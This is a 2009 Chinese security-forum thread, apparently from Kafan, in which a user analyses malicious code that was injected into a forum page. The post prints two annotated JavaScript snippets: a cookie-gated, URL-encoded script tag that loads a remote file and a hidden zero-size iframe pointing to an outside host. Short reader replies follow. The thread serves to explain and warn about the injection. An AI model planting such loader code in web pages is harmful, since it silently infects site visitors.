卡饭挂马原理~~

雨宫优子

访问样本区某页~~红伞弹了个框~~随即弄出挂马代码~~

1. if (document.cookie.indexOf('hello') == -1) { //如果COOKIE不存在HELLO则执行下面代码：
   
2. 
   
3.     var expires = new Date(); //声明变量expires等于当前日期
   
4. 
   
5.     expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000); //对得到的时间进行修改
   
6. 
   
7.     document.cookie = 'hello=Yes;path=/;expires=' + expires.toGMTString(); //写入COOKIE：hello=Yes;path=/;expires=(上面修改后的时间)
   
8. 
   
9.     document.write(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%27%6A%61%76%61%73%63%72%69%70%74%27%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%68%70%35%34%30%2E%77%65%65%64%6E%73%2E%63%6F%6D%2F%62%2E%6A%73%27%3E%3C%2F%73%63%72%69%70%74%3E")); //执行挂马代码
   
10. }

复制代码

不过，执行的挂马代码中~~也有一个判断COOKIE的，难道不觉得重复了么...

1. function Get(){
   
2. var Then = new Date()
   
3. Then.setTime(Then.getTime() + 24*60*60*1000)
   
4. var cookieString = new String(document.cookie)
   
5. var cookieHeader = "Cookie1="
   
6. var beginPosition = cookieString.indexOf(cookieHeader)
   
7. if (beginPosition != -1){
   
8. } else
   
9. { document.cookie = "Cookie1=risb;expires="+ Then.toGMTString()
   
10. document.write("<iframe src=http://xyq.khb86.cn/1/03/index.htm?x14 width=0 height=0></iframe>");
    
11. document.write('<script type="text/javascript" src="http://js.tongji.cn.yahoo.com/1050544/ystat.js"></script>');
    
12. }
    
13. }Get();
    

复制代码

大意也和上面差不多，不过实现方式变了个样~~
呃~~做了个免疫页面~~适用于目前挂马代码
http://xuanwobbs.com.cn/kafan.htm

[ 本帖最后由 aarwwefdds 于 2009-4-25 17:40 编辑 ]

xqiafl

搞卡饭人， 估计花了不少时间吧！！

唉。 这世界上的无聊的人太多了！

winxp0286

有點狠啊.呵呵.

woshijiqiren

学习一下

tanlimo

搜索了下，基本上每个区里都有。

skyatfly

居然跑到卡饭来作乱~~

987

猖狂

Sherry.ai

现在还有不.............我从来不开监控的

XMatence

一起来抓。。

qianwenxiang

连着两天浏览器给他卡住了 挂马的太无良了。。